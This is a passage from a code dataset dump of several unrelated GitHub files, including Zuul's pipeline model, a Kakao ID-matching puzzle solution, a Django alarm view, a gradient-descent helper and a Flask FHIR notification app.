assert_equals(expected_recur_pathnames,\n phototool.get_pathnames(photos_dir, True))\n assert_equals(expected_nonrecur_pathnames,\n phototool.get_pathnames(photos_dir, False))\n\n\n@with_setup(get_imagefiles_setup)\ndef test_get_imagefiles():\n assert_list_equal(expected_recur_imagefiles,\n get_sorted_list(phototool.get_imagefiles(\n expected_recur_pathnames, True)))\n assert_equals(expected_recurpath_nonrecur_imagefiles,\n get_sorted_list(phototool.get_imagefiles(\n expected_recur_pathnames, False)))\n assert_equals(expected_nonrecur_imagefiles,\n get_sorted_list(phototool.get_imagefiles(\n expected_nonrecur_pathnames, True)))\n assert_equals(expected_nonrecur_imagefiles,\n get_sorted_list(phototool.get_imagefiles(\n expected_nonrecur_pathnames, False)))\n","repo_name":"chintsung/photoclassifier","sub_path":"photoclassifier/tests/unit/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":2896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29144709254","text":"import re\nimport time\nfrom uuid import uuid4\nimport extras\n\nOrderedDict = extras.try_imports(['collections.OrderedDict',\n 'ordereddict.OrderedDict'])\n\n\nMERGER_MERGE = 1 # \"git merge\"\nMERGER_MERGE_RESOLVE = 2 # \"git merge -s resolve\"\nMERGER_CHERRY_PICK = 3 # \"git cherry-pick\"\n\nMERGER_MAP = {\n 'merge': MERGER_MERGE,\n 'merge-resolve': MERGER_MERGE_RESOLVE,\n 'cherry-pick': MERGER_CHERRY_PICK,\n}\n\nPRECEDENCE_NORMAL = 0\nPRECEDENCE_LOW = 1\nPRECEDENCE_HIGH = 2\n\nPRECEDENCE_MAP = {\n None: PRECEDENCE_NORMAL,\n 'low': PRECEDENCE_LOW,\n 'normal': PRECEDENCE_NORMAL,\n 'high': PRECEDENCE_HIGH,\n}\n\n\ndef time_to_seconds(s):\n if s.endswith('s'):\n return int(s[:-1])\n if s.endswith('m'):\n return int(s[:-1]) * 60\n if s.endswith('h'):\n return int(s[:-1]) * 60 * 60\n if s.endswith('d'):\n return int(s[:-1]) * 24 * 60 * 60\n if s.endswith('w'):\n return int(s[:-1]) * 7 * 24 * 60 * 60\n raise Exception(\"Unable to parse time value: %s\" % s)\n\n\nclass Pipeline(object):\n \"\"\"A top-level pipeline such as check, gate, post, etc.\"\"\"\n def __init__(self, name):\n self.name = name\n self.description = None\n self.failure_message = None\n self.success_message = None\n self.dequeue_on_new_patchset = True\n self.job_trees = {} # project -> JobTree\n self.manager = None\n self.queues = []\n self.precedence = PRECEDENCE_NORMAL\n self.trigger = None\n self.start_actions = None\n self.success_actions = None\n self.failure_actions = None\n self.window = None\n self.window_floor = None\n self.window_increase_type = None\n self.window_increase_factor = None\n self.window_decrease_type = None\n self.window_decrease_factor = None\n\n def __repr__(self):\n return '' % self.name\n\n def setManager(self, manager):\n self.manager = manager\n\n def addProject(self, project):\n job_tree = JobTree(None) # Null job == job tree root\n self.job_trees[project] = job_tree\n return job_tree\n\n def getProjects(self):\n return sorted(self.job_trees.keys(), lambda a, b: cmp(a.name, b.name))\n\n def addQueue(self, queue):\n self.queues.append(queue)\n\n def getQueue(self, project):\n for queue in self.queues:\n if project in queue.projects:\n return queue\n return None\n\n def getJobTree(self, project):\n tree = self.job_trees.get(project)\n return tree\n\n def getJobs(self, changeish):\n tree = self.getJobTree(changeish.project)\n if not tree:\n return []\n return changeish.filterJobs(tree.getJobs())\n\n def _findJobsToRun(self, job_trees, item):\n torun = []\n if item.item_ahead:\n # Only run jobs if any 'hold' jobs on the change ahead\n # have completed successfully.\n if self.isHoldingFollowingChanges(item.item_ahead):\n return []\n for tree in job_trees:\n job = tree.job\n result = None\n if job:\n if not job.changeMatches(item.change):\n continue\n build = item.current_build_set.getBuild(job.name)\n if build:\n result = build.result\n else:\n # There is no build for the root of this job tree,\n # so we should run it.\n torun.append(job)\n # If there is no job, this is a null job tree, and we should\n # run all of its jobs.\n if result == 'SUCCESS' or not job:\n torun.extend(self._findJobsToRun(tree.job_trees, item))\n return torun\n\n def findJobsToRun(self, item):\n tree = self.getJobTree(item.change.project)\n if not tree:\n return []\n return self._findJobsToRun(tree.job_trees, item)\n\n def haveAllJobsStarted(self, item):\n for job in self.getJobs(item.change):\n build = item.current_build_set.getBuild(job.name)\n if not build or not build.start_time:\n return False\n return True\n\n def areAllJobsComplete(self, item):\n for job in self.getJobs(item.change):\n build = item.current_build_set.getBuild(job.name)\n if not build or not build.result:\n return False\n return True\n\n def didAllJobsSucceed(self, item):\n for job in self.getJobs(item.change):\n if not job.voting:\n continue\n build = item.current_build_set.getBuild(job.name)\n if not build:\n return False\n if build.result != 'SUCCESS':\n return False\n return True\n\n def didAnyJobFail(self, item):\n for job in self.getJobs(item.change):\n if not job.voting:\n continue\n build = item.current_build_set.getBuild(job.name)\n if build and build.result and (build.result != 'SUCCESS'):\n return True\n return False\n\n def isHoldingFollowingChanges(self, item):\n for job in self.getJobs(item.change):\n if not job.hold_following_changes:\n continue\n build = item.current_build_set.getBuild(job.name)\n if not build:\n return True\n if build.result != 'SUCCESS':\n return True\n\n if not item.item_ahead:\n return False\n return self.isHoldingFollowingChanges(item.item_ahead)\n\n def setResult(self, item, build):\n if build.retry:\n item.removeBuild(build)\n elif build.result != 'SUCCESS':\n # Get a JobTree from a Job so we can find only its dependent jobs\n root = self.getJobTree(item.change.project)\n tree = root.getJobTreeForJob(build.job)\n for job in tree.getJobs():\n fakebuild = Build(job, None)\n fakebuild.result = 'SKIPPED'\n item.addBuild(fakebuild)\n\n def setUnableToMerge(self, item, msg):\n item.current_build_set.unable_to_merge = True\n item.current_build_set.unable_to_merge_message = msg\n root = self.getJobTree(item.change.project)\n for job in root.getJobs():\n fakebuild = Build(job, None)\n fakebuild.result = 'SKIPPED'\n item.addBuild(fakebuild)\n\n def setDequeuedNeedingChange(self, item):\n item.dequeued_needing_change = True\n root = self.getJobTree(item.change.project)\n for job in root.getJobs():\n fakebuild = Build(job, None)\n fakebuild.result = 'SKIPPED'\n item.addBuild(fakebuild)\n\n def getChangesInQueue(self):\n changes = []\n for shared_queue in self.queues:\n changes.extend([x.change for x in shared_queue.queue])\n return changes\n\n def getAllItems(self):\n items = []\n for shared_queue in self.queues:\n items.extend(shared_queue.queue)\n return items\n\n def formatStatusHTML(self):\n ret = ''\n for queue in self.queues:\n if len(self.queues) > 1:\n s = 'Change queue: %s' % queue.name\n ret += s + '\\n'\n ret += '-' * len(s) + '\\n'\n for item in queue.queue:\n ret += self.formatStatus(item, html=True)\n return ret\n\n def formatStatusJSON(self):\n j_pipeline = dict(name=self.name,\n description=self.description)\n j_queues = []\n j_pipeline['change_queues'] = j_queues\n for queue in self.queues:\n j_queue = dict(name=queue.name)\n j_queues.append(j_queue)\n j_queue['heads'] = []\n j_queue['window'] = queue.window\n j_queue['dependent'] = queue.dependent\n\n j_changes = []\n for e in queue.queue:\n if not e.item_ahead:\n if j_changes:\n j_queue['heads'].append(j_changes)\n j_changes = []\n j_changes.append(self.formatItemJSON(e))\n if (len(j_changes) > 1 and\n (j_changes[-2]['remaining_time'] is not None) and\n (j_changes[-1]['remaining_time'] is not None)):\n j_changes[-1]['remaining_time'] = max(\n j_changes[-2]['remaining_time'],\n j_changes[-1]['remaining_time'])\n if j_changes:\n j_queue['heads'].append(j_changes)\n return j_pipeline\n\n def formatStatus(self, item, indent=0, html=False):\n changeish = item.change\n indent_str = ' ' * indent\n ret = ''\n if html and hasattr(changeish, 'url') and changeish.url is not None:\n ret += '%sProject %s change
    %s\\n' % (\n indent_str,\n changeish.project.name,\n changeish.url,\n changeish._id())\n else:\n ret += '%sProject %s change %s based on %s\\n' % (\n indent_str,\n changeish.project.name,\n changeish._id(),\n item.item_ahead)\n for job in self.getJobs(changeish):\n build = item.current_build_set.getBuild(job.name)\n if build:\n result = build.result\n else:\n result = None\n job_name = job.name\n if not job.voting:\n voting = ' (non-voting)'\n else:\n voting = ''\n if html:\n if build:\n url = build.url\n else:\n url = None\n if url is not None:\n job_name = '%s' % (url, job_name)\n ret += '%s %s: %s%s' % (indent_str, job_name, result, voting)\n ret += '\\n'\n return ret\n\n def formatItemJSON(self, item):\n changeish = item.change\n ret = {}\n ret['active'] = item.active\n if hasattr(changeish, 'url') and changeish.url is not None:\n ret['url'] = changeish.url\n else:\n ret['url'] = None\n ret['id'] = changeish._id()\n if item.item_ahead:\n ret['item_ahead'] = item.item_ahead.change._id()\n else:\n ret['item_ahead'] = None\n ret['items_behind'] = [i.change._id() for i in item.items_behind]\n ret['failing_reasons'] = item.current_build_set.failing_reasons\n ret['zuul_ref'] = item.current_build_set.ref\n ret['project'] = changeish.project.name\n ret['enqueue_time'] = int(item.enqueue_time * 1000)\n ret['jobs'] = []\n max_remaining = 0\n for job in self.getJobs(changeish):\n now = time.time()\n build = item.current_build_set.getBuild(job.name)\n elapsed = None\n remaining = None\n result = None\n url = None\n if build:\n result = build.result\n url = build.url\n if build.start_time:\n if build.end_time:\n elapsed = int((build.end_time -\n build.start_time) * 1000)\n remaining = 0\n else:\n elapsed = int((now - build.start_time) * 1000)\n if build.estimated_time:\n remaining = max(\n int(build.estimated_time * 1000) - elapsed,\n 0)\n if remaining and remaining > max_remaining:\n max_remaining = remaining\n ret['jobs'].append(\n dict(\n name=job.name,\n elapsed_time=elapsed,\n remaining_time=remaining,\n url=url,\n result=result,\n voting=job.voting))\n if self.haveAllJobsStarted(item):\n ret['remaining_time'] = max_remaining\n else:\n ret['remaining_time'] = None\n return ret\n\n\nclass ActionReporter(object):\n \"\"\"An ActionReporter has a reporter and its configured paramaters\"\"\"\n\n def __repr__(self):\n return '' % (self.reporter, self.params)\n\n def __init__(self, reporter, params):\n self.reporter = reporter\n self.params = params\n\n def report(self, change, message):\n \"\"\"Sends the built message off to the configured reporter.\n Takes the change and message and adds the configured parameters.\n \"\"\"\n return self.reporter.report(change, message, self.params)\n\n def getSubmitAllowNeeds(self):\n \"\"\"Gets the submit allow needs from the reporter based off the\n parameters.\"\"\"\n return self.reporter.getSubmitAllowNeeds(self.params)\n\n\nclass ChangeQueue(object):\n \"\"\"DependentPipelines have multiple parallel queues shared by\n different projects; this is one of them. For instance, there may\n a queue shared by interrelated projects foo and bar, and a second\n queue for independent project baz. Pipelines have one or more\n PipelineQueues.\"\"\"\n def __init__(self, pipeline, dependent=True, window=0, window_floor=1,\n window_increase_type='linear', window_increase_factor=1,\n window_decrease_type='exponential', window_decrease_factor=2):\n self.pipeline = pipeline\n self.name = ''\n self.projects = []\n self._jobs = set()\n self.queue = []\n self.dependent = dependent\n self.window = window\n self.window_floor = window_floor\n self.window_increase_type = window_increase_type\n self.window_increase_factor = window_increase_factor\n self.window_decrease_type = window_decrease_type\n self.window_decrease_factor = window_decrease_factor\n\n def __repr__(self):\n return '' % (self.pipeline.name, self.name)\n\n def getJobs(self):\n return self._jobs\n\n def addProject(self, project):\n if project not in self.projects:\n self.projects.append(project)\n names = [x.name for x in self.projects]\n names.sort()\n self.name = ', '.join(names)\n self._jobs |= set(self.pipeline.getJobTree(project).getJobs())\n\n def enqueueChange(self, change):\n item = QueueItem(self.pipeline, change)\n self.enqueueItem(item)\n item.enqueue_time = time.time()\n return item\n\n def enqueueItem(self, item):\n item.pipeline = self.pipeline\n if self.dependent and self.queue:\n item.item_ahead = self.queue[-1]\n item.item_ahead.items_behind.append(item)\n self.queue.append(item)\n\n def dequeueItem(self, item):\n if item in self.queue:\n self.queue.remove(item)\n if item.item_ahead:\n item.item_ahead.items_behind.remove(item)\n for item_behind in item.items_behind:\n if item.item_ahead:\n item.item_ahead.items_behind.append(item_behind)\n item_behind.item_ahead = item.item_ahead\n item.item_ahead = None\n item.items_behind = []\n item.dequeue_time = time.time()\n\n def moveItem(self, item, item_ahead):\n if not self.dependent:\n return False\n if item.item_ahead == item_ahead:\n return False\n # Remove from current location\n if item.item_ahead:\n item.item_ahead.items_behind.remove(item)\n for item_behind in item.items_behind:\n if item.item_ahead:\n item.item_ahead.items_behind.append(item_behind)\n item_behind.item_ahead = item.item_ahead\n # Add to new location\n item.item_ahead = item_ahead\n item.items_behind = []\n if item.item_ahead:\n item.item_ahead.items_behind.append(item)\n return True\n\n def mergeChangeQueue(self, other):\n for project in other.projects:\n self.addProject(project)\n self.window = min(self.window, other.window)\n # TODO merge semantics\n\n def isActionable(self, item):\n if self.dependent and self.window:\n return item in self.queue[:self.window]\n else:\n return True\n\n def increaseWindowSize(self):\n if self.dependent:\n if self.window_increase_type == 'linear':\n self.window += self.window_increase_factor\n elif self.window_increase_type == 'exponential':\n self.window *= self.window_increase_factor\n\n def decreaseWindowSize(self):\n if self.dependent:\n if self.window_decrease_type == 'linear':\n self.window = max(\n self.window_floor,\n self.window - self.window_decrease_factor)\n elif self.window_decrease_type == 'exponential':\n self.window = max(\n self.window_floor,\n self.window / self.window_decrease_factor)\n\n\nclass Project(object):\n def __init__(self, name):\n self.name = name\n self.merge_mode = MERGER_MERGE_RESOLVE\n\n def __str__(self):\n return self.name\n\n def __repr__(self):\n return '' % (self.name)\n\n\nclass Job(object):\n def __init__(self, name):\n # If you add attributes here, be sure to add them to the copy method.\n self.name = name\n self.failure_message = None\n self.success_message = None\n self.failure_pattern = None\n self.success_pattern = None\n self.parameter_function = None\n self.hold_following_changes = False\n self.voting = True\n self.branches = []\n self._branches = []\n self.files = []\n self._files = []\n\n def __str__(self):\n return self.name\n\n def __repr__(self):\n return '' % (self.name)\n\n def copy(self, other):\n if other.failure_message:\n self.failure_message = other.failure_message\n if other.success_message:\n self.success_message = other.success_message\n if other.failure_pattern:\n self.failure_pattern = other.failure_pattern\n if other.success_pattern:\n self.success_pattern = other.success_pattern\n if other.parameter_function:\n self.parameter_function = other.parameter_function\n if other.branches:\n self.branches = other.branches[:]\n self._branches = other._branches[:]\n if other.files:\n self.files = other.files[:]\n self._files = other._files[:]\n self.hold_following_changes = other.hold_following_changes\n self.voting = other.voting\n\n def changeMatches(self, change):\n matches_branch = False\n for branch in self.branches:\n if hasattr(change, 'branch') and branch.match(change.branch):\n matches_branch = True\n if hasattr(change, 'ref') and branch.match(change.ref):\n matches_branch = True\n if self.branches and not matches_branch:\n return False\n\n matches_file = False\n for f in self.files:\n if hasattr(change, 'files'):\n for cf in change.files:\n if f.match(cf):\n matches_file = True\n if self.files and not matches_file:\n return False\n\n return True\n\n\nclass JobTree(object):\n \"\"\" A JobTree represents an instance of one Job, and holds JobTrees\n whose jobs should be run if that Job succeeds. A root node of a\n JobTree will have no associated Job. \"\"\"\n\n def __init__(self, job):\n self.job = job\n self.job_trees = []\n\n def addJob(self, job):\n t = JobTree(job)\n self.job_trees.append(t)\n return t\n\n def getJobs(self):\n jobs = []\n for x in self.job_trees:\n jobs.append(x.job)\n jobs.extend(x.getJobs())\n return jobs\n\n def getJobTreeForJob(self, job):\n if self.job == job:\n return self\n for tree in self.job_trees:\n ret = tree.getJobTreeForJob(job)\n if ret:\n return ret\n return None\n\n\nclass Build(object):\n def __init__(self, job, uuid):\n self.job = job\n self.uuid = uuid\n self.url = None\n self.number = None\n self.result = None\n self.build_set = None\n self.launch_time = time.time()\n self.start_time = None\n self.end_time = None\n self.estimated_time = None\n self.pipeline = None\n self.canceled = False\n self.retry = False\n self.parameters = {}\n\n def __repr__(self):\n return '' % (self.uuid, self.job.name)\n\n\nclass BuildSet(object):\n def __init__(self, item):\n self.item = item\n self.other_changes = []\n self.builds = {}\n self.result = None\n self.next_build_set = None\n self.previous_build_set = None\n self.ref = None\n self.commit = None\n self.unable_to_merge = False\n self.unable_to_merge_message = None\n self.failing_reasons = []\n\n def setConfiguration(self):\n # The change isn't enqueued until after it's created\n # so we don't know what the other changes ahead will be\n # until jobs start.\n if not self.other_changes:\n next_item = self.item.item_ahead\n while next_item:\n self.other_changes.append(next_item.change)\n next_item = next_item.item_ahead\n if not self.ref:\n self.ref = 'Z' + uuid4().hex\n\n def addBuild(self, build):\n self.builds[build.job.name] = build\n build.build_set = self\n\n def removeBuild(self, build):\n del self.builds[build.job.name]\n\n def getBuild(self, job_name):\n return self.builds.get(job_name)\n\n def getBuilds(self):\n keys = self.builds.keys()\n keys.sort()\n return [self.builds.get(x) for x in keys]\n\n\nclass QueueItem(object):\n \"\"\"A changish inside of a Pipeline queue\"\"\"\n\n def __init__(self, pipeline, change):\n self.pipeline = pipeline\n self.change = change # a changeish\n self.build_sets = []\n self.dequeued_needing_change = False\n self.current_build_set = BuildSet(self)\n self.build_sets.append(self.current_build_set)\n self.item_ahead = None\n self.items_behind = []\n self.enqueue_time = None\n self.dequeue_time = None\n self.reported = False\n self.active = False\n\n def __repr__(self):\n if self.pipeline:\n pipeline = self.pipeline.name\n else:\n pipeline = None\n return '' % (\n id(self), self.change, pipeline)\n\n def resetAllBuilds(self):\n old = self.current_build_set\n self.current_build_set.result = 'CANCELED'\n self.current_build_set = BuildSet(self)\n old.next_build_set = self.current_build_set\n self.current_build_set.previous_build_set = old\n self.build_sets.append(self.current_build_set)\n\n def addBuild(self, build):\n self.current_build_set.addBuild(build)\n build.pipeline = self.pipeline\n\n def removeBuild(self, build):\n self.current_build_set.removeBuild(build)\n\n def setReportedResult(self, result):\n self.current_build_set.result = result\n\n\nclass Changeish(object):\n \"\"\"Something like a change; either a change or a ref\"\"\"\n\n def __init__(self, project):\n self.project = project\n\n def equals(self, other):\n raise NotImplementedError()\n\n def isUpdateOf(self, other):\n raise NotImplementedError()\n\n def filterJobs(self, jobs):\n return filter(lambda job: job.changeMatches(self), jobs)\n\n def getRelatedChanges(self):\n return set()\n\n\nclass Change(Changeish):\n def __init__(self, project):\n super(Change, self).__init__(project)\n self.branch = None\n self.number = None\n self.url = None\n self.patchset = None\n self.refspec = None\n\n self.files = []\n self.needs_change = None\n self.needed_by_changes = []\n self.is_current_patchset = True\n self.can_merge = False\n self.is_merged = False\n self.failed_to_merge = False\n self.approvals = []\n\n def _id(self):\n return '%s,%s' % (self.number, self.patchset)\n\n def __repr__(self):\n return '' % (id(self), self._id())\n\n def equals(self, other):\n if self.number == other.number and self.patchset == other.patchset:\n return True\n return False\n\n def isUpdateOf(self, other):\n if ((hasattr(other, 'number') and self.number == other.number) and\n (hasattr(other, 'patchset') and\n self.patchset is not None and\n other.patchset is not None and\n int(self.patchset) > int(other.patchset))):\n return True\n return False\n\n def getRelatedChanges(self):\n related = set()\n if self.needs_change:\n related.add(self.needs_change)\n for c in self.needed_by_changes:\n related.add(c)\n related.update(c.getRelatedChanges())\n return related\n\n\nclass Ref(Changeish):\n def __init__(self, project):\n super(Ref, self).__init__(project)\n self.ref = None\n self.oldrev = None\n self.newrev = None\n\n def _id(self):\n return self.newrev\n\n def __repr__(self):\n rep = None\n if self.newrev == '0000000000000000000000000000000000000000':\n rep = '' % (self.project)\n\n def _id(self):\n return None\n\n def equals(self, other):\n return False\n\n def isUpdateOf(self, other):\n return False\n\n\nclass TriggerEvent(object):\n def __init__(self):\n self.data = None\n # common\n self.type = None\n self.project_name = None\n self.trigger_name = None\n # Representation of the user account that performed the event.\n self.account = None\n # patchset-created, comment-added, etc.\n self.change_number = None\n self.change_url = None\n self.patch_number = None\n self.refspec = None\n self.approvals = []\n self.branch = None\n self.comment = None\n # ref-updated\n self.ref = None\n self.oldrev = None\n self.newrev = None\n # timer\n self.timespec = None\n # For events that arrive with a destination pipeline (eg, from\n # an admin command, etc):\n self.forced_pipeline = None\n\n def __repr__(self):\n ret = '= t):\n found_approval = False\n else:\n if (normalizeCategory(approval['description']) != k or\n int(approval['value']) != v):\n found_approval = False\n if found_approval:\n matches_approval = True\n break\n if not matches_approval:\n return False\n\n # timespecs are ORed\n matches_timespec = False\n for timespec in self.timespecs:\n if (event.timespec == timespec):\n matches_timespec = True\n if self.timespecs and not matches_timespec:\n return False\n\n return True\n\n\nclass Layout(object):\n def __init__(self):\n self.projects = {}\n self.pipelines = OrderedDict()\n self.jobs = {}\n self.metajobs = []\n\n def getJob(self, name):\n if name in self.jobs:\n return self.jobs[name]\n job = Job(name)\n if name.startswith('^'):\n # This is a meta-job\n regex = re.compile(name)\n self.metajobs.append((regex, job))\n else:\n # Apply attributes from matching meta-jobs\n for regex, metajob in self.metajobs:\n if regex.match(name):\n job.copy(metajob)\n self.jobs[name] = job\n return job\n","repo_name":"devdattakulkarni/zuul_messaging","sub_path":"zuul/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":35891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32660762529","text":"from itertools import permutations\ndef solution(user_id, banned_id):\n\n result = []\n for candidate in permutations(user_id, len(banned_id)) :\n # print(list(candidate))\n # 유저ID 갯수 중에서, 불량사용자 ID갯수 만큼 뽑아낼 수 있는 순열들을 구��다\n candidate = list(candidate)\n\n flag = True\n for i in range (len(banned_id)) :\n # 불량사용자 ID 패턴 길이와 유저ID 패턴길이가 같은것들 위주로 먼저 비교한다\n if len(banned_id[i]) == len(candidate[i]) :\n # 불량사용자 ID 패턴중에 '*'는 그냥 무시하면 되고, 그 외의 문자만 같은지만 비교한다\n for j in range (len(banned_id[i])) :\n if banned_id[i][j] == '*' :\n continue\n if candidate[i][j] != banned_id[i][j] :\n flag = False\n break \n # 길이 조차 다르다면 해당되는 패턴의 유저ID가 아닌 것이다\n else :\n flag = False\n break\n \n # 최종적으로 불량사용자 패턴과 모두 일치하며, 지금까지 담긴 불량사용자 공간에 처음으로 들어갈 유저ID라면 새로 추가한다.\n # ID순서만 다를 뿐, 중복된 내용이 있을 수 있으므로 리스트형태의 candidate를 집합형태로 캐스팅하여 집어 넣는다 \n if flag and set(candidate) not in result :\n result.append(set(candidate))\n \n\n # 지금 까지 담긴 result 내의 원소 갯수를 값으로 리턴한다\n cnt = len(result)\n print(cnt) \n return cnt\n\nuser_id = [\"frodo\", \"fradi\", \"crodo\", \"abc123\", \"frodoc\"]\n\nbanned_id = [\"fr*d*\", \"abc1**\"]\n# banned_id = [\"*rodo\", \"*rodo\", \"******\"]\n# banned_id = [\"fr*d*\", \"*rodo\", \"******\", \"******\"]\n\nsolution(user_id, banned_id)\n\n# 참고 : https://codingspooning.tistory.com/85","repo_name":"KimHyungkeun/Algorithm","sub_path":"Programmers/Python/2021/모든문제/불량사용자_2019카카오인턴십.py","file_name":"불량사용자_2019카카오인턴십.py","file_ext":"py","file_size_in_byte":1972,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7191525108","text":"from django.views.generic import TemplateView\nfrom django.contrib.auth.models import User\nfrom django.utils import timezone\nfrom django.conf import settings\nfrom cosmetic.models import *\nimport datetime\n\n\nclass HomeView(TemplateView):\n template_name = 'home.html'\n\n\n def get_context_data(self, *args, **kwargs):\n context = super(HomeView, self).get_context_data(*args, **kwargs)\n try:\n print('유저 로그인 시간: ', self.request.user.last_login)\n print('현재 시간: ', timezone.now())\n if((timezone.now() - self.request.user.last_login).seconds < 0.2):\n context['is_alarm_time'] = True\n queryset = User_Cosmetic.objects.filter(alarm_cycle=9999999)\n alarm_candidates = User_Cosmetic.objects.filter(user=self.request.user, is_consent_alarm=True)\n for alarm_candidate in alarm_candidates:\n expiration_date = datetime.datetime.strptime(str(alarm_candidate.expiration_date), '%Y-%m-%d')\n if (expiration_date-timezone.now()).days + 1 < alarm_candidate.alarm_cycle:\n user_cosmetic = User_Cosmetic.objects.filter(user=self.request.user, pk=alarm_candidate.id)\n user_cosmetic.expiration_date= datetime.datetime.strptime(str(alarm_candidate.expiration_date), '%Y-%m-%d').date()\n queryset |= user_cosmetic\n context['alarm_cosmetics'] = queryset.order_by('expiration_date')\n if queryset.exists() is False:\n context['is_alarm_time'] = False\n except:\n print(\"유저는 아직 로그인 하지 않았습니다\")\n return context\n\n\nclass PreparationView(TemplateView):\n template_name = 'preparation.html'\n","repo_name":"YooInKeun/CAU_CSE_Capstone_3","sub_path":"BeautyForMe/beautyforme/beautyforme/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"4239745073","text":"# -*- coding: utf-8 -*-\n\"\"\"Gradient Descent\"\"\"\nimport costs\n\ndef compute_gradient(y, tx, w):\n \"\"\"Compute the gradient.\"\"\"\n e = y - tx.dot(w)\n \n return - 1/len(y) * np.transpose(tx).dot(e)\n\n\ndef gradient_descent(y, tx, initial_w, max_iters, gamma, verbose=True):\n \"\"\"Gradient descent algorithm.\"\"\"\n # Define parameters to store w and loss\n ws = [initial_w]\n losses = []\n w = initial_w\n for n_iter in range(max_iters):\n grad = compute_gradient(y, tx, w)\n loss = costs.compute_loss(y, tx, w)\n # update w\n w = w - gamma * grad\n # store w and loss\n ws.append(w)\n losses.append(loss)\n if verbose:\n print(\"Gradient Descent({bi}/{ti}): loss={l}, w0={w0}, w1={w1}\".format(\n bi=n_iter, ti=max_iters - 1, l=loss, w0=w[0], w1=w[1]))\n\n return losses, ws","repo_name":"t0asty/CS-433","sub_path":"labs/ex02/template/gradient descent.py","file_name":"gradient descent.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"45007725403","text":"\r\n'''\r\nsimple flask app to fetch data build a bundle and send as $process-message operation\r\nuse ps aux | grep Flask to find app and kill\r\n'''\r\n\r\nimport datetime\r\nimport logging\r\nimport sys\r\nimport uuid\r\nfrom copy import deepcopy\r\nfrom importlib import import_module\r\nfrom json import dumps, load, loads\r\nfrom pathlib import Path\r\nfrom time import sleep\r\n\r\nimport fhirclient.r4models.bundle as B\r\nimport fhirclient.r4models.fhirdate as FD\r\nimport fhirclient.r4models.meta as M\r\nfrom commonmark import commonmark\r\nfrom flask import (Flask, Response, redirect, render_template, request,\r\n send_from_directory, session, url_for)\r\nfrom requests import get, post, put\r\nfrom flask_caching import Cache\r\n\r\nimport fhirtemplates # local templates\r\nfrom utils import clear_dir, read_in, write_out\r\n\r\nlogging.basicConfig(\r\n level=logging.DEBUG,\r\n #filename='/Users/ehaas/Documents/Python/Flask-PL/demo.log',\r\n format='[%(asctime)s] %(levelname)s in %(module)s %(lineno)d}: %(message)s',\r\n )\r\ncache = Cache(config={'CACHE_TYPE': 'filesystem', 'CACHE_DIR': '/tmp'})\r\napp = Flask(__name__, static_url_path='/static')\r\napp.secret_key = 'my secret key'\r\ncache.init_app(app)\r\n\r\nwith app.app_context():\r\n cache.clear()\r\n####### Globals #############\r\n\r\nvalidate_me = False # to save for validation in IG\r\n\r\nprofile_list = dict(\r\nBundle = \"http://hl7.org/fhir/us/davinci-alerts/StructureDefinition/notifications-bundle\",\r\nMessageHeader = \"http://hl7.org/fhir/us/davinci-alerts/StructureDefinition/notifications-messageheader\",\r\nMessageHeader_admit = \"http://hl7.org/fhir/us/davinci-alerts/StructureDefinition/admit-notification-messageheader\",\r\nMessageHeader_transfer = \"http://hl7.org/fhir/us/davinci-alerts/StructureDefinition/transfer-notification-messageheader\",\r\nMessageHeader_discharge =\"http://hl7.org/fhir/us/davinci-alerts/StructureDefinition/dsicharge-notification-messageheader\",\r\nCondition = \"http://hl7.org/fhir/us/davinci-alerts/StructureDefinition/adt-notification-condition\",\r\nCoverage = \"http://hl7.org/fhir/us/davinci-alerts/StructureDefinition/adt-notification-coverage\",\r\nEncounter = \"http://hl7.org/fhir/us/davinci-alerts/StructureDefinition/adt-notification-encounter\",\r\nPatient = \"http://hl7.org/fhir/us/core/StructureDefinition/us-core-patient\",\r\nPractitioner = \"http://hl7.org/fhir/us/core/StructureDefinition/us-core-practitioner\",\r\nLocation = \"http://hl7.org/fhir/us/core/StructureDefinition/us-core-location\",\r\nOrganization = \"http://hl7.org/fhir/us/core/StructureDefinition/us-core-organization\",\r\nProvenance = \"http://hl7.org/fhir/us/core/StructureDefinition/us-core-provenance\",\r\n)\r\n\r\n\r\n#enc_list = [i for i in range(905,911)] +['foo']# test R4 Server encounters\r\n#enc_list = [588258,588265,588267,588274,588276,588283]+['foo']# test HAPI R4 Server encounters\r\nenc_list = [ #for 54 = admit, 55 = transfer =, 56 = discharge\r\n '5fe62cd5-bfcf-4d3b-a1e9-80d6f75d6f82/_history/54',\r\n '5fe62cd5-bfcf-4d3b-a1e9-80d6f75d6f82/_history/55',\r\n '5fe62cd5-bfcf-4d3b-a1e9-80d6f75d6f82/_history/56',\r\n '542f9e32-4309-4277-81ce-12419f0d1294/_history/54',\r\n '542f9e32-4309-4277-81ce-12419f0d1294/_history/55',\r\n '542f9e32-4309-4277-81ce-12419f0d1294/_history/56',\r\n '02ba9ec6-0712-4715-8ba4-5485fc571403/_history/54',\r\n '02ba9ec6-0712-4715-8ba4-5485fc571403/_history/55',\r\n '02ba9ec6-0712-4715-8ba4-5485fc571403/_history/56',\r\n 'foo/_history/54',\r\n 'foo/_history/55',\r\n 'foo/_history/56']\r\n\r\n\r\nget_ids = [# [{name:name, Type:Type, args=(args), is_req=bool}]\r\n dict(\r\n name = 'patient',\r\n Type = 'Patient',\r\n args = ('subject','reference'),\r\n is_req=True,\r\n ),\r\n dict(\r\n name = 'location',\r\n Type = 'Location',\r\n args = ('location','location','reference'),\r\n is_req=True,\r\n ),\r\n dict(\r\n name = 'practitioner',\r\n Type = 'Practitioner',\r\n args = ('participant','individual','reference'),\r\n is_req=False,\r\n ),\r\n dict(\r\n name = 'service_provider',\r\n Type = 'Organization',\r\n args = ('serviceProvider','reference'),\r\n is_req=False,\r\n ),\r\n]\r\n\r\nref_server = { # base_url for reference server - no trailing forward slash\r\n 'FHIR R4': 'http://test.fhir.org/r4',\r\n 'HAPI UHN R4': 'http://hapi.fhir.org/baseR4',\r\n 